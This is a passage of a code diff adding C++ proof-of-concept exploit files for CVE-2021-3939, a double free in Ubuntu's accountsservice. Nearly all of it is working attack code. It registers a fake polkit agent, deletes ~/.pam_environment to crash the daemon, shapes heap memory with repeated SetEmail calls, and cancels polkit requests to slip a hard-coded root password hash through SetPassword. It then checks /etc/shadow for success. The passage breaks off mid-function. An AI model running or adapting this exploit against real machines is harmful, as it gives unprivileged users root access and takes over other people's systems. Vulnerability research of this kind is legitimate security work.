+              DBusObjectString::mk(_s("unix-process")), // subject_kind
+              DBusObjectArray::mk1(
+                _vec<std::unique_ptr<DBusObject>>(
+                  DBusObjectDictEntry::mk(
+                    DBusObjectString::mk(_s("pid")),
+                    DBusObjectVariant::mk(
+                      DBusObjectUint32::mk(info_.pid_)
+                    )
+                  ),
+                  DBusObjectDictEntry::mk(
+                    DBusObjectString::mk(_s("uid")),
+                    DBusObjectVariant::mk(
+                      DBusObjectInt32::mk(info_.uid_)
+                    )
+                  ),
+                  DBusObjectDictEntry::mk(
+                    DBusObjectString::mk(_s("start-time")),
+                    DBusObjectVariant::mk(
+                      DBusObjectUint64::mk(info_.start_time_)
+                    )
+                  )
+                )
+              )
+            )
+          ),
+          DBusObjectString::mk(_s("en")), // locale
+          DBusObjectString::mk(_s("/org/freedesktop/PolicyKit1/AuthenticationAgent")) // object path
+        )
+      );
+
+    send_call(
+      std::move(body),
+      _s("/org/freedesktop/PolicyKit1/Authority"),
+      _s("org.freedesktop.PolicyKit1.Authority"),
+      _s("org.freedesktop.PolicyKit1"),
+      _s("RegisterAuthenticationAgent"),
+      [this](const DBusMessage& message, bool isError) -> int {
+        if (isError) {
+          // Signal to the rest of the program that an error occurred.
+          print_dbus_message(STDERR_FILENO, message);
+          fprintf(stderr, "Could not register with polkit.\n");
+          fflush(stderr);
+          return quit();
+        } else {
+          printf("Successfully registered with polkit\n");
+          return 0;
+        }
+      }
+    );
+
+    return 0;
+  }
+
+public:
+  PolkitHandler(
+    const ProgramInfo& info,
+    EPollManager& manager
+  ) :
+    DBusHandler(info.dbus_socket_path_),
+    info_(info),
+    manager_(manager)
+  {}
+
+  ~PolkitHandler() override {
+    manager_.polkit_delete();
+  }
+
+  void stop() const {
+    shutdown(sock_, SHUT_RDWR);
+  }
+
+  void accept() override final {
+    manager_.set_polkit_handler(this);
+    send_hello(
+      [this](const std::string& busname) -> int {
+        fprintf(stdout, "Unique bus name (polkit): %s\n", busname.c_str());
+        fflush(stdout);
+
+        return register_with_polkit();
+      }
+    );
+  }
+
+  // Every time we attempt to set the root user's password by
+  // calling the SetPassword method, we should get an incoming
+  // polkit request here.
+  void receive_call(const DBusMessage& message) override final {
+    const std::string& sender =
+      message.getHeader_lookupField(MSGHDR_SENDER).getValue()->toString().getValue();
+    error_reply_queue_.push(
+      BatchedErrorReply(message.getHeader_serialNumber(), sender)
+    );
+  }
+
+  // We don't expect to receive any calls.
+  void receive_signal(const DBusMessage&) override final {
+    logerror("Received a signal in PolkitHandler.");
+  }
+
+  void receive_error(const DBusMessage& err) override final {
+    logerror("Received an error in PolkitHandler.");
+    print_dbus_message(STDERR_FILENO, err);
+    throw Error("Unexpected error in PolkitHandler.");
+  }
+
+  void disconnect() noexcept override final {
+    logerror("PolkitHandler D-Bus socket disconnected.");
+  }
+
+  void logerror(const char* errmsg) noexcept override final {
+    fprintf(stderr, "%s\n", errmsg);
+  }
+
+  // Send at most `n` error replies to cancel the polkit requests.
+  // Due to the unpredicatable timing of when we receive the polkit
+  // requests it's possible that there are less than `n` elements in
+  // the queue. If so, we just stop early and don't worry about it.
+  // (We empty the queue at the beginning of every iteration of the
+  // exploit, to stop the queue from growing too big.)
+  void cancel_auth_requests(const size_t n) {
+    for (size_t i = 0; i < n; i++) {
+      if (error_reply_queue_.empty()) {
+        return;
+      }
+
+      BatchedErrorReply& reply = error_reply_queue_.front();
+      send_error_reply(
+        reply.replySerial_,
+        _s(reply.sender_),
+        _s("org.freedesktop.PolicyKit1.Error.Cancelled")
+      );
+      error_reply_queue_.pop();
+    }
+  }
+};
+
+class AccountsHandler : public DBusHandler {
+  const ProgramInfo& info_;
+  EPollManager& manager_;
+
+  // std::random is used to vary the batch sizes on each run, because
+  // it's difficult to know which batch sizes are the most likely to
+  // succeed.
+  std::random_device rd_;
+  std::mt19937 gen_;
+  std::uniform_int_distribution<> distrib_;
+
+  size_t batch_size1_ = 1;
+  size_t batch_size2_ = 1;
+
+  std::string my_objectpath_;
+  std::string root_objectpath_;
+  const std::string pam_env_path_;
+
+  // Email address for sending to the SetEmail method.
+  // Changing the email address triggers a call to `save_extra_data`, which
+  // causes a bunch of memory to be allocated and freed, but without
+  // increasing the total memory usage. (At least, I haven't noticed any
+  // memory leaks in that code.) Sometimes we do this to deliberately
+  // jumble the memory up so that a subsequent memory allocation will
+  // occupy the chunk that we want it to.  Other times, we deliberately
+  // call the SetEmail method with the same email address as last time, so
+  // that we trigger a polkit check that will get approved, but without
+  // jumbling the memory any further.
+  char email_[64] = "kevwozere@kevwozere.com";
+
+private:
+  int quit() {
+    return -1;
+  }
+
+  void choose_batch_sizes() {
+    batch_size1_ = distrib_(gen_);
+    batch_size2_ = distrib_(gen_);
+    printf("batch sizes: %ld %ld\n", batch_size1_, batch_size2_);
+  }
+
+public:
+  AccountsHandler(
+    const ProgramInfo& info,
+    EPollManager& manager
+  ) :
+    DBusHandler(info.dbus_socket_path_),
+    info_(info),
+    manager_(manager),
+    gen_(rd_()),
+    distrib_(1,64),
+    pam_env_path_(info_.homedir_ + _s("/.pam_environment"))
+  {}
+
+  virtual ~AccountsHandler() override {
+    manager_.accounts_delete();
+  }
+
+  void stop() const {
+    shutdown(sock_, SHUT_RDWR);
+  }
+
+  void accept() override final {
+    manager_.set_accounts_handler(this);
+    send_hello(
+      [this](const std::string& busname) -> int {
+        fprintf(stdout, "Unique bus name (accounts): %s\n", busname.c_str());
+        fflush(stdout);
+
+        return findUserByID(
+          info_.uid_,
+          [this](const char* userpath, bool isError) -> int {
+            if (isError) {
+              return quit();
+            } else {
+              my_objectpath_ = userpath;
+              return attempt_exploit();
+            }
+          }
+        );
+      }
+    );
+  }
+
+  // We don't expect to receive any calls.
+  void receive_call(const DBusMessage&) override final {
+    logerror("Unexpected incoming call in AccountsHandler.");
+  }
+
+  // We don't expect to receive any calls.
+  void receive_signal(const DBusMessage&) override final {
+    logerror("Received a signal in AccountsHandler.");
+  }
+
+  void receive_error(const DBusMessage& err) override final {
+    logerror("Received an error in AccountsHandler.");
+    print_dbus_message(STDERR_FILENO, err);
+  }
+
+  void disconnect() noexcept override final {
+    logerror("AccountsHandler D-Bus socket disconnected.");
+  }
+
+  void logerror(const char* errmsg) noexcept override final {
+    fprintf(stderr, "%s\n", errmsg);
+  }
+
+  int findUserByID(
+    uid_t uid,
+    std::function<int(const char* userpath, bool isError)> cb
+  ) {
+    send_call(
+      DBusMessageBody::mk(
+        _vec<std::unique_ptr<DBusObject>>(
+          DBusObjectInt64::mk(uid)
+        )
+      ),
+      _s("/org/freedesktop/Accounts"),
+      _s("org.freedesktop.Accounts"),
+      _s("org.freedesktop.Accounts"),
+      _s("FindUserById"),
+      [this, cb](const DBusMessage& message, bool isError) -> int {
+        if (isError) {
+          logerror("FindUserById failed");
+          return cb(nullptr, true);
+        } else {
+          const std::string& userpath =
+            message.getBody().getElement(0)->toPath().getValue();
+          printf("FindUserById: %s\n", userpath.c_str());
+          return cb(userpath.c_str(), false);
+        }
+      }
+    );
+
+    return 0;
+  }
+
+  int accounts_set_property(
+    const char* userpath,
+    const char* command,
+    const char* value,
+    reply_cb_t cb
+  ) {
+    send_call(
+      DBusMessageBody::mk(
+        _vec<std::unique_ptr<DBusObject>>(
+          DBusObjectString::mk(_s(value))
+        )
+      ),
+      _s(userpath),
+      _s("org.freedesktop.Accounts.User"),
+      _s("org.freedesktop.Accounts"),
+      _s(command),
+      cb
+    );
+
+    return 0;
+  }
+
+  int accounts_set_password(
+    const char* userpath,
+    const char* password,
+    const char* hint,
+    reply_cb_t cb
+  ) {
+    send_call(
+      DBusMessageBody::mk(
+        _vec<std::unique_ptr<DBusObject>>(
+          DBusObjectString::mk(_s(password)),
+          DBusObjectString::mk(_s(hint))
+        )
+      ),
+      _s(userpath),
+      _s("org.freedesktop.Accounts.User"),
+      _s("org.freedesktop.Accounts"),
+      _s("SetPassword"),
+      cb
+    );
+
+    return 0;
+  }
+
+  // This function triggers the bug by removing `~/.pam_environment` and
+  // calling the "SetLanguage" method.
+  int trigger_bug(reply_cb_t cb) {
+    unlink(pam_env_path_.c_str());
+    return accounts_set_property(
+      my_objectpath_.c_str(), "SetLanguage", "kevwozere", cb
+    );
+  }
+
+  // We use this function to make sure that we're starting from a clean slate.
+  // It makes the exploit a bit less unreliable.
+  int restart_accounts_daemon(std::function<int()> cb) {
+    return trigger_bug(
+      [this, cb](const DBusMessage&, bool isError) -> int {
+        if (isError) {
+          const pid_t pid = search_pid(accounts_daemon, sizeof(accounts_daemon));
+          if (pid < 0) {
+            printf("accounts-daemon is not running\n");
+            return cb();
+          } else {
+            printf("accounts-daemon PID: %d\n", pid);
+          }
+        }
+        // The reply isn't an error, which means that accounts-daemon
+        // didn't crash yet. Try again.
+        return restart_accounts_daemon(cb);
+      }
+    );
+  }
+
+  int send_batch(
+    const char* password, const char* hint, const size_t batch_size,
+    std::function<int()> cb
+  ) {
+    return async_loop(
+      0, batch_size,
+      [this, password, hint](size_t i, std::function<int()> next) -> int {
+        // Change the email address to jumble the memory.
+        snprintf(
+          email_, sizeof(email_),
+          "kevwozere@kevwozere.kevwozere.kevwozere.kevwozere.%.8lu.com",
+          i
+        );
+        return accounts_set_property(
+          my_objectpath_.c_str(), "SetEmail", email_,
+          [this, password, hint, next](const DBusMessage&, bool) -> int {
+            // Send the SetPassword message, but don't wait for the reply.
+            accounts_set_password(
+              root_objectpath_.c_str(), password, hint,
+              [this, password](const DBusMessage&, bool isError) -> int {
+                if (isError) {
+                  return 0;
+                } else {
+                  printf("SetPassword succeeded!  password = %s\n", password);
+                  return quit();
+                }
+              }
+            );
+
+            return next();
+          }
+        );
+      },
+      cb
+    );
+  }
+
+  int attempt_exploit() {
+    choose_batch_sizes();
+
+    return restart_accounts_daemon(
+      [this]() -> int {
+        return findUserByID(
+          0,
+          [this](const char* rootpath, bool isError) -> int {
+            if (isError) {
+              // Something went wrong. Try again.
+              return attempt_exploit();
+            } else {
+              root_objectpath_ = rootpath;
+
+              const pid_t pid = search_pid(accounts_daemon, sizeof(accounts_daemon));
+              printf("Starting exploit. PID: %u\n", pid);
+
+              return trigger_bug(
+                [this](const DBusMessage&, bool isError) -> int {
+                  printf("trigger_bug:  isError = %d\n", (int)isError);
+
+                  // The password and hint are sized so that they will require a chunk
+                  // bigger than size 0x40.
+                  const char* password =
+                    "0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef";
+                  const char* hint =
+                    "0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF";
+                  return send_batch(
+                    password, hint, batch_size1_,
+                    [this]() -> int {
+                      // Trigger the bug a second time. If things are going to
+                      // plan then the chunk currently contains the memory that
+                      // was allocated by `user_set_password`. We can control
+                      // when `free_passwords` gets called on it by releasing
+                      // `polkit_requests_batch1`.
+                      return trigger_bug(
+                        [this](const DBusMessage&, bool isError) -> int {
+                          printf("trigger_bug:  isError = %d\n", (int)isError);
+
+                          // The password and hint are sized so that they will require a chunk
+                          // of size 0x40.
+                          const char* password =
+                            "0123456789abcdef0123456789abcdef0123456789abcdef";
+                          const char* hint =
+                            "0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF";
+                          return send_batch(
+                            password, hint, batch_size2_,
+                            [this]() -> int {
+                              // Cancel the first batch of polkit requests.
+                              PolkitHandler* polkit_handler = manager_.polkit_handler();
+                              if (!polkit_handler) {
+                                return quit();
+                              }
+
+                              polkit_handler->cancel_auth_requests(batch_size1_);
+
+                              // Send a bunch of requests that will be approved by polkit (because
+                              // they only require org.freedesktop.accounts.change-own-user-data
+                              // permission). We're hoping that the auth data that is allocated for
+                              // one of these in `daemon_local_check_auth` (in an 0x40 chunk size)
+                              // will get freed before it is approved and overwritten with the auth
+                              // data for one of the subsequent SetPassword requests.
+                              // We alternate between the different messages because the timing
+                              // of when things will happen is very difficult to predict, so we
+                              // just have to rely on luck.
+                              for (size_t i = 0; i < batch_size2_ + 64; i++) {
+                                // Reject all of the authentication requests from the second batch.
+                                // This will hopefully cause a double free of one of the 0x40 chunks.
+                                // We reject them one at a time, because we want the messages to
+                                // be interspersed with the others.
+                                polkit_handler->cancel_auth_requests(1);
+
+                                // Note: this sends the same email address as we sent earlier. That's
+                                // because we don't want `user_change_email_authorized_cb` to call
+                                // `save_extra_data`, which would cause a bunch of memory churn that
+                                // we don't want.
+                                accounts_set_property(
+                                  my_objectpath_.c_str(), "SetEmail", email_,
+                                  [this](const DBusMessage&, bool) -> int {
+                                    return 0;
+                                  }
+                                );
+
+                                // password: iaminvincible!
+                                const char* password =
+                                  "$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB";
+                                const char* hint = "GoldenEye";
+                                accounts_set_password(
+                                  root_objectpath_.c_str(), password, hint,
+                                  [this](const DBusMessage&, bool isError) -> int {
+                                    if (isError) {
+                                      return 0;
+                                    } else {
+                                      printf("SetPassword succeeded!\n");
+                                      return quit();
+                                    }
+                                  }
+                                );
+                              }
+
+                              // One final email change, for synchronization purposes.
+                              snprintf(email_, sizeof(email_), "kevwozere@kevwozere.com");
+                              return accounts_set_property(
+                                my_objectpath_.c_str(), "SetEmail", email_,
+                                [this](const DBusMessage&, bool isError) -> int {
+                                  printf("SetEmail  isError = %d\n", isError);
+                                  const pid_t pid = search_pid(accounts_daemon, sizeof(accounts_daemon));
+                                  printf("End iteration. PID: %d\n", pid);
+                                  return quit();
+                                }
+                              );
+                            }
+                          );
+                        }
+                      );
+                    }
+                  );
+                }
+              );
+            }
+          }
+        );
+      }
+    );
+  }
+};
+
+void EPollManager::stop() const {
+  if (polkit_handler_) {
+    polkit_handler_->stop();
+  }
+  if (accounts_handler_) {
+    accounts_handler_->stop();
+  }
+}
+
+int main(int argc, char* argv[]) {
+  const char* progname = argc > 0 ? argv[0] : "a.out";
+  if (argc != 2) {
+    fprintf(
+      stderr,
+      "usage:   %s <unix socket>\n"
+      "example: %s /var/run/dbus/system_bus_socket\n",
+      progname,
+      progname
+    );
+    return EXIT_FAILURE;
+  }
+
+  const char* dbus_socket_path = argv[1];
+
+  // When the poc is successful, the root user's password is set,
+  // which causes /etc/shadow to be modified. So we can use stat
+  // to detect when the exploit was successful.
+  struct stat statorig = {};
+  stat(etc_shadow_path, &statorig);
+
+  try {
+    while (true) {
+      EPollLoop loop;
+
+      ProgramInfo info(dbus_socket_path);
+      EPollManager manager(loop);
+
+      DBusAuthHandler* polkit_auth_handler =
+        new DBusAuthHandler(loop, info.uid_, new PolkitHandler(info, manager));
+      if (loop.add_handler(polkit_auth_handler) < 0) {
+        throw Error(_s("Failed to add PolkitHandler"));
+      }
+
+      DBusAuthHandler* accounts_auth_handler =
+        new DBusAuthHandler(loop, info.uid_, new AccountsHandler(info, manager));
+      if (loop.add_handler(accounts_auth_handler) < 0) {
+        throw Error(_s("Failed to add AccountsHandler"));
+      }
+
+      loop.run();
+
+      // If accountsservice crashes too often within a short period
+      // of time then it gets prevented from restarting, so it's better
+      // sleep for a few seconds between each exploit attempt.
+      sleep(4);
+
+      // If the timestamp of /etc/shadow has changed then the exploit
+      // was (probably) successful.
+      struct stat statnew;
+      stat(etc_shadow_path, &statnew);
+      if (!timespec_eq(statnew.st_mtim, statorig.st_mtim)) {
+        printf("%s was modified!\n", etc_shadow_path);
+        break;
+      }
+    }
+  } catch (ErrorWithErrno& e) {
+    const int err = e.getErrno();
+    fprintf(stderr, "%s\n%s\n", e.what(), strerror(err));
+    return EXIT_FAILURE;
+  } catch (std::exception& e) {
+    fprintf(stderr, "%s\n", e.what());
+    return EXIT_FAILURE;
+  }
+
+  return EXIT_SUCCESS;
+}
diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc3.cpp b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc3.cpp
new file mode 100644
index 0000000..7ebe26e
--- /dev/null
+++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc3.cpp
@@ -0,0 +1,906 @@
+#include <pwd.h>
+#include <sys/stat.h>
+#include <sys/un.h>
+#include <sys/wait.h>
+#include <dirent.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <random>
+#include <dbus_utils.hpp>
+#include <EPollLoopDBusHandler.hpp>
+
+static const char accounts_daemon[] = "/usr/lib/accountsservice/accounts-daemon";
+static const char* etc_shadow_path = "/etc/shadow";
+
+// Return true if the timespecs are equal.
+static bool timespec_eq(const timespec& t1, const timespec& t2) {
+  return t1.tv_sec == t2.tv_sec && t1.tv_nsec == t2.tv_nsec;
+}
+
+// This class creates an array containing the names of all the files in a
+// directory. It does this by running `scandirat` in its constructor.
+class ScanDirAt {
+  struct dirent **namelist_;
+  const int n_;
+
+public:
+  explicit ScanDirAt(int fd)
+    : n_(scandirat(fd, ".", &namelist_, NULL, alphasort))
+  {
+    if (n_ < 0) {
+      throw ErrorWithErrno("ScanDirAt failed.");
+    }
+  }
+
+  ~ScanDirAt();
+
+  int size() const { return n_; }
+
+  const char* get(int i) const { return namelist_[i]->d_name; }
+};
+
+ScanDirAt::~ScanDirAt() {
+  if (n_ >= 0) {
+    for (int i = 0; i < n_; i++) {
+      free(namelist_[i]);
+    }
+    free(namelist_);
+  }
+}
+
+// Search `/proc/*/cmdline` to find the PID of a running program.
+static std::vector<pid_t> search_pids(const char *cmdline, size_t cmdline_len) {
+  AutoCloseFD procdir_fd(open("/proc", O_PATH | O_CLOEXEC));
+  if (procdir_fd.get() < 0) {
+    throw ErrorWithErrno("Could not open /proc.");
+  }
+  ScanDirAt scanDir(procdir_fd.get());
+
+  const int n = scanDir.size();
+  std::vector<pid_t> result;
+  for (int i = 0; i < n; i++) {
+    const char* subdir_name = scanDir.get(i);
+    AutoCloseFD subdir_fd(
+      openat(procdir_fd.get(), subdir_name, O_PATH | O_CLOEXEC)
+    );
+    if (procdir_fd.get() < 0) {
+      continue;
+    }
+    AutoCloseFD cmdline_fd(
+      openat(subdir_fd.get(), "cmdline", O_RDONLY | O_CLOEXEC)
+    );
+    if (cmdline_fd.get() < 0) {
+      continue;
+    }
+
+    // Check if the command line matches.
+    char buf[0x1000];
+    ssize_t r = read(cmdline_fd.get(), buf, sizeof(buf));
+    if (r < 0 || static_cast<size_t>(r) < cmdline_len) {
+      continue;
+    }
+    if (memcmp(buf, cmdline, cmdline_len) == 0) {
+      // The name of the sub-directory is the PID.
+      result.push_back(atoi(subdir_name));
+    }
+  }
+  return result;
+}
+
+static pid_t search_pid(const char *cmdline, size_t cmdline_len) {
+  std::vector<pid_t> pids = search_pids(cmdline, cmdline_len);
+  if (pids.size() == 1) {
+    return pids[0];
+  }
+  return -1;
+}
+
+static std::string getHomeDir(uid_t uid) {
+  FILE *fp = fopen("/etc/passwd", "r");
+  char buf[4096] = {};
+  struct passwd pw;
+  struct passwd *pwp;
+  while (true) {
+    if (fgetpwent_r(fp, &pw, buf, sizeof(buf), &pwp) != 0) {
+      fclose(fp);
+      char errmsg[256];
+      snprintf(
+        errmsg, sizeof(errmsg),
+        "Could not find UID %u in /etc/passwd.",
+        uid
+      );
+      throw Error(errmsg);
+    }
+    if (uid == pw.pw_uid) {
+      fclose(fp);
+      return _s(pw.pw_dir);
+    }
+  }
+}
+
+// Information that can be gathered once when we first start executing.
+class ProgramInfo {
+public:
+  // Path to the dbus socket. (Usually: /var/run/dbus/system_bus_socket)
+  const char* dbus_socket_path_;
+
+  // UID and PID of this process.
+  const uid_t uid_;
+  const pid_t pid_;
+
+  // Start time of the process. (Needed to register as an authentication agent.)
+  const uint64_t start_time_;
+
+  const std::string homedir_;
+
+  // When the poc is successful, the root user's password is set,
+  // which causes /etc/shadow to be modified. So we can use stat
+  // to detect when the exploit was successful.
+  struct stat statorig_ = {};
+
+  explicit ProgramInfo(const char* dbus_socket_path) :
+    dbus_socket_path_(dbus_socket_path),
+    uid_(getuid()),
+    pid_(getpid()),
+    start_time_(process_start_time(pid_)),
+    homedir_(getHomeDir(uid_))
+  {
+    stat(etc_shadow_path, &statorig_);
+    printf("uid: %u\n", uid_);
+    printf("pid: %u\n", pid_);
+    printf("home dir: %s\n", homedir_.c_str());
+    fflush(stdout);
+  }
+
+  // If the timestamp of /etc/shadow has changed then the exploit
+  // was (probably) successful.
+  bool exploit_succeeded() const {
+    struct stat statnew;
+    stat(etc_shadow_path, &statnew);
+    return !timespec_eq(statnew.st_mtim, statorig_.st_mtim);
+  }
+};
+
+class PolkitHandler;
+class AccountsHandler;
+class TriggerBugHandler;
+
+// This class manages the two EPoll handlers that we have open (one for
+// communicating with polkit and the other for communicating with
+// accountsservice). It enables the two handlers to call each other's
+// methods when necessary, and it also takes care of shutting the handlers
+// down. (The EPollLoop will not stop until all the handlers are
+// disconnected, so when one handler disconnects the other needs to also
+// disconnect.)
+class EPollManager {
+  EPollLoop& loop_;
+
+  // These pointers are owned by the EPollLoop. We have keep copies of them
+  // here so that we can call methods on them, and also so that we can call
+  // `EPollLoop::del_handler()` on them when we're done.
+  PolkitHandler* polkit_handler_ = nullptr;
+  AccountsHandler* accounts_handler_ = nullptr;
+  TriggerBugHandler* trigger_bug_handler_ = nullptr;
+
+  void del_polkit_handler();
+  void del_accounts_handler();
+
+public:
+  explicit EPollManager(EPollLoop& loop) :
+    loop_(loop)
+  {}
+
+  PolkitHandler* polkit_handler() const { return polkit_handler_; }
+  AccountsHandler* accounts_handler() const { return accounts_handler_; }
+  TriggerBugHandler* trigger_bug_handler() const { return trigger_bug_handler_; }
+
+  void set_polkit_handler(PolkitHandler* polkit_handler){
+    assert(!polkit_handler_);
+    polkit_handler_ = polkit_handler;
+  }
+
+  void set_accounts_handler(AccountsHandler* accounts_handler){
+    assert(!accounts_handler_);
+    accounts_handler_ = accounts_handler;
+  }
+
+  void set_trigger_bug_handler(TriggerBugHandler* trigger_bug_handler){
+    assert(!trigger_bug_handler_);
+    trigger_bug_handler_ = trigger_bug_handler;
+  }
+
+  void polkit_delete() {
+    polkit_handler_ = nullptr;
+    stop();
+  }
+
+  void accounts_delete() {
+    accounts_handler_ = nullptr;
+    stop();
+  }
+
+  void trigger_bug_delete() {
+    trigger_bug_handler_ = nullptr;
+    stop();
+  }
+
+  void stop() const;
+};
+
+class PolkitHandler : public DBusHandler {
+  // This struct is used to store an error reply message, which we
+  // will send later.
+  struct BatchedErrorReply {
+    const serialNumber_t replySerial_;
+    const std::string sender_;
+
+    BatchedErrorReply(
+      const serialNumber_t replySerial,
+      const std::string sender
+    ) :
+      replySerial_(replySerial),
+      sender_(sender)
+    {}
+  };
+
+  const ProgramInfo& info_;
+  EPollManager& manager_;
+
+  // We deliberately delay responding to some of the polkit requests, to
+  // control the order of operations in accountsservice. The replies are
+  // queued here.
+  std::queue<BatchedErrorReply> error_reply_queue_;
+
+private:
+  int quit() {
+    return -1;
+  }
+
+  int register_with_polkit() {
+    std::unique_ptr<DBusMessageBody> body =
+      DBusMessageBody::mk(
+        _vec<std::unique_ptr<DBusObject>>(
+          // Subject
+          DBusObjectStruct::mk(
+            _vec<std::unique_ptr<DBusObject>>(
+              DBusObjectString::mk(_s("unix-process")), // subject_kind
+              DBusObjectArray::mk1(
+                _vec<std::unique_ptr<DBusObject>>(
+                  DBusObjectDictEntry::mk(
+                    DBusObjectString::mk(_s("pid")),
+                    DBusObjectVariant::mk(
+                      DBusObjectUint32::mk(info_.pid_)
+                    )
+                  ),
+                  DBusObjectDictEntry::mk(
+                    DBusObjectString::mk(_s("uid")),
+                    DBusObjectVariant::mk(
+                      DBusObjectInt32::mk(info_.uid_)
+                    )
+                  ),
+                  DBusObjectDictEntry::mk(
+                    DBusObjectString::mk(_s("start-time")),
+                    DBusObjectVariant::mk(
+                      DBusObjectUint64::mk(info_.start_time_)
+                    )
+                  )
+                )
+              )
+            )
+          ),
+          DBusObjectString::mk(_s("en")), // locale
+          DBusObjectString::mk(_s("/org/freedesktop/PolicyKit1/AuthenticationAgent")) // object path
+        )
+      );
+
+    send_call(
+      std::move(body),
+      _s("/org/freedesktop/PolicyKit1/Authority"),
+      _s("org.freedesktop.PolicyKit1.Authority"),
+      _s("org.freedesktop.PolicyKit1"),
+      _s("RegisterAuthenticationAgent"),
+      [this](const DBusMessage& message, bool isError) -> int {
+        if (isError) {
+          // Signal to the rest of the program that an error occurred.
+          print_dbus_message(STDERR_FILENO, message);
+          fprintf(stderr, "[PolkitHandler]     Could not register with polkit.\n");
+          fflush(stderr);
+          return quit();
+        } else {
+          printf("[PolkitHandler]     Successfully registered with polkit\n");
+          fflush(stdout);
+          return 0;
+        }
+      }
+    );
+
+    return 0;
+  }
+
+public:
+  PolkitHandler(
+    const ProgramInfo& info,
+    EPollManager& manager
+  ) :
+    DBusHandler(info.dbus_socket_path_),
+    info_(info),
+    manager_(manager)
+  {}
+
+  ~PolkitHandler() override {
+    manager_.polkit_delete();
+  }
+
+  void stop() const {
+    shutdown(sock_, SHUT_RDWR);
+  }
+
+  void accept() override final {
+    manager_.set_polkit_handler(this);
+    send_hello(
+      [this](const std::string& busname) -> int {
+        printf("[PolkitHandler]     Unique bus name (polkit): %s\n", busname.c_str());
+        fflush(stdout);
+
+        return register_with_polkit();
+      }
+    );
+  }
+
+  // Every time we attempt to set the root user's password by
+  // calling the SetPassword method, we should get an incoming
+  // polkit request here.
+  void receive_call(const DBusMessage& message) override final {
+    const std::string& sender =
+      message.getHeader_lookupField(MSGHDR_SENDER).getValue()->toString().getValue();
+    error_reply_queue_.push(
+      BatchedErrorReply(message.getHeader_serialNumber(), sender)
+    );
+  }
+
+  // We don't expect to receive any calls.
+  void receive_signal(const DBusMessage&) override final {
+    logerror("Received a signal in PolkitHandler.");
+  }
+
+  void receive_error(const DBusMessage& err) override final {
+    logerror("Received an error in PolkitHandler.");
+    print_dbus_message(STDERR_FILENO, err);
+    throw Error("Unexpected error in PolkitHandler.");
+  }
+
+  void disconnect() noexcept override final {
+    logerror("PolkitHandler D-Bus socket disconnected.");
+  }
+
+  void logerror(const char* errmsg) noexcept override final {
+    fprintf(stderr, "[PolkitHandler]     %s\n", errmsg);
+    fflush(stderr);
+  }
+
+  // Send at most `n` error replies to cancel the polkit requests.
+  // Due to the unpredicatable timing of when we receive the polkit
+  // requests it's possible that there are less than `n` elements in
+  // the queue. If so, we just stop early and don't worry about it.
+  // (We empty the queue at the beginning of every iteration of the
+  // exploit, to stop the queue from growing too big.)
+  void cancel_auth_requests(const size_t n) {
+    printf("[PolkitHandler]     cancel_auth_requests  queue size = %ld\n",
+           error_reply_queue_.size());
+    fflush(stdout);
+    for (size_t i = 0; i < n; i++) {
+      if (error_reply_queue_.empty()) {
+        return;
+      }
+
+      BatchedErrorReply& reply = error_reply_queue_.front();
+      send_error_reply(
+        reply.replySerial_,
+        _s(reply.sender_),
+        _s("org.freedesktop.PolicyKit1.Error.Cancelled")
+      );
+      error_reply_queue_.pop();
+    }
+  }
+};
+
+class AccountsHandlerBase : public DBusHandler {
+protected:
+  const ProgramInfo& info_;
+
+  // std::random is used to vary the batch sizes on each run, because
+  // it's difficult to know which batch sizes are the most likely to
+  // succeed.
+  std::random_device rd_;
+  std::mt19937 gen_;
+
+  std::string my_objectpath_;
+  std::string root_objectpath_;
+  const std::string pam_env_path_;
+
+  // Email address for sending to the SetEmail method.
+  // Changing the email address triggers a call to `save_extra_data`, which
+  // causes a bunch of memory to be allocated and freed, but without
+  // increasing the total memory usage. (At least, I haven't noticed any
+  // memory leaks in that code.) Sometimes we do this to deliberately
+  // jumble the memory up so that a subsequent memory allocation will
+  // occupy the chunk that we want it to.  Other times, we deliberately
+  // call the SetEmail method with the same email address as last time, so
+  // that we trigger a polkit check that will get approved, but without
+  // jumbling the memory any further.
+  char email_[64] = "kevwozere@kevwozere.com";
+
+public:
+  AccountsHandlerBase(
+    const ProgramInfo& info
+  ) :
+    DBusHandler(info.dbus_socket_path_),
+    info_(info),
+    gen_(rd_()),
+    pam_env_path_(info_.homedir_ + _s("/.pam_environment"))
+  {}
+
+protected:
+  int quit() {
+    return -1;
+  }
+
+  // We don't expect to receive any calls.
+  void receive_call(const DBusMessage&) override final {
+    logerror("Unexpected incoming call.");
+  }
+
+  // We don't expect to receive any calls.
+  void receive_signal(const DBusMessage&) override final {
+    logerror("Received a signal.");
+  }
+
+  void receive_error(const DBusMessage& err) override final {
+    logerror("Received an error in AccountsHandler.");
+    print_dbus_message(STDERR_FILENO, err);
+  }
+
+  void disconnect() noexcept override final {
+    logerror("AccountsHandler D-Bus socket disconnected.");
+  }
+
+  int findUserByID(
+    uid_t uid,
+    std::function<int(const char* userpath, bool isError)> cb
+  ) {
+    send_call(
+      DBusMessageBody::mk(
+        _vec<std::unique_ptr<DBusObject>>(
+          DBusObjectInt64::mk(uid)
+        )
+      ),
+      _s("/org/freedesktop/Accounts"),
+      _s("org.freedesktop.Accounts"),
+      _s("org.freedesktop.Accounts"),
+      _s("FindUserById"),
+      [this, cb](const DBusMessage& message, bool isError) -> int {
+        if (isError) {
+          logerror("FindUserById failed");
+          return cb(nullptr, true);
+        } else {
+          const std::string& userpath =
+            message.getBody().getElement(0)->toPath().getValue();
+          printf("[AccountsHandler]   FindUserById: %s\n", userpath.c_str());
+          fflush(stdout);
+          return cb(userpath.c_str(), false);
+        }
+      }
+    );
+
+    return 0;
+  }
+
+  int accounts_set_property(
+    const char* userpath,
+    const char* command,
+    const char* value,
+    reply_cb_t cb
+  ) {
+    send_call(
+      DBusMessageBody::mk(
+        _vec<std::unique_ptr<DBusObject>>(
+          DBusObjectString::mk(_s(value))
+        )
+      ),
+      _s(userpath),
+      _s("org.freedesktop.Accounts.User"),
+      _s("org.freedesktop.Accounts"),
+      _s(command),
+      cb
+    );
+
+    return 0;
+  }
+
+  int accounts_set_password(
+    const char* userpath,
